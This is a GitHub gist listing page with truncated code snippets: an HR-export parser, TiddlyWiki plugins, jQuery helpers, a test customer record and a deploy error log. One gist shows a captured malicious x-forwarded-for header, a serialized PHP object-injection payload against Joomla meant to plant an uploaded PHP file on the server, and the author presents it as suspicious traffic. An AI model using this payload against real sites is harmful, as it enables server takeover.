Skip to content

Instantly share code, notes, and snippets.

@jayfresh
jayfresh / charlie-hr-company-xml-parser.js
Last active August 31, 2021 16:29
Extracts people's reviews from CharlieHR company.xml export, saves as TSV
var fs = require('fs'),
xml2js = require('xml2js');
var parser = new xml2js.Parser();
fs.readFile(__dirname + '/company.xml', function(err, data) {
parser.parseString(data, function (err, result) {
var team = result.company['team-members'][0]['team-member'];
var lines = [];
team.forEach(member => {
// create a line for each review, with the email as the first column
/*\
title: $:/plugins/jayfresh/tiddler-server/tiddler-server.js
type: application/javascript
module-type: command
A server command to serve tiddlers as HTML as well as the main server API
\*/
(function(){
@jayfresh
jayfresh / gist:ea853af2ccfb44d9c94d87df4c34b001
Created July 20, 2016 18:20
I'm guessing this is not a legitimate HTTP header...
"x-forwarded-for": "}__test|O:21:\"JDatabaseDriverMysqli\":3:{s:2:\"fc\";O:17:\"JSimplepieFactory\":0:{}s:21:\"\\0\\0\\0disconnectHandlers\";a:1:{i:0;a:2:{i:0;O:9:\"SimplePie\":5:{s:8:\"sanitize\";O:20:\"JDatabaseDriverMysql\":0:{}s:8:\"feed_url\";s:137:\"print copy($_FILES[file][tmp_name],dirname(JFactory::getConfig()->get(base64_decode(bG9nX3BhdGg))).base64_decode(L3RtcC9zZngucGhw));exit;\";s:19:\"cache_name_function\";s:6:\"assert\";s:5:\"cache\";b:1;s:11:\"cache_class\";O:20:\"JDatabaseDriverMysql\":0:{}}i:1;s:4:\"init\";}}s:13:\"\\0\\0\\0connection\";b:1;}ðýýý, 83.143.240.37"
// app.js
$(document).ready(function() {
phoneCollector.getBackups(function(backupOptions) {
backupOptions.forEach(...);
});
});
$('button#go').click(function(){
phoneCollector.convertBackupToPIO(this.value, function() {
alert('done!');
var i = 1;
(function() {
var privateVar = i;
asyncFunc(variable, function() {
// all yo' callback stuff here
console.log(privateVar);
});
})(); // execute function immediately
{
"customer": {
"firstName": "Test",
"middleName": "Robert",
"surname": "Customer",
"title": "Mr",
"houseNameNumber": "38",
"street": "Test Street",
"town": "BigTown",
"locality": "BigCity",
@jayfresh
jayfresh / gist:4160930
Created November 28, 2012 12:32
TiddlySpaceBackstage.js
/***
|''Name''|TiddlySpaceBackstage|
|''Version''|0.8.0|
|''Description''|Provides a TiddlySpace version of the backstage and a homeLink macro|
|''Status''|@@beta@@|
|''Contributors''|Jon Lister, Jon Robson, Colm Britton|
|''Source''|http://github.com/TiddlySpace/tiddlyspace/raw/master/src/plugins/TiddlySpaceBackstage.js|
|''Requires''|TiddlySpaceConfig ImageMacroPlugin TiddlySpaceViewTypes|
!StyleSheet
.tiddler .error.annotation .button{
@jayfresh
jayfresh / jquery.youtubeUploadsAndFavorites.js
Created November 10, 2012 22:23
Gets the uploads and favorites for a YouTube username
/*
jquery.youtubeUploadsAndFavorites.js
Gets the uploads and favorites for a YouTube username
- removes duplicates
- orders in reverse chronological order
- retries the last 20 of each feed
usage: $(selector).youtubeUploadsAndFavorites();
prompt: Is this ok?: (yes)
info: Creating snapshot 0.0.0-3
info Uploading: [=============================] 99%
info: Updating app nodejs
info: Activating snapshot 0.0.0-3 for nodejs
info: Starting app nodejs
error: Error running command deploy
error: Nodejitsu Error (500): Internal Server Error
error:
error: There was an error while attempting to start the app
error: Error running command deploy
error: Nodejitsu Error (500): Internal Server Error
error:
error: There was an error while attempting to start the app
error: Error spawning drone
error: Script prematurely exited
error:
error: This type of error is usually a user error.
error: Error output from app:
error: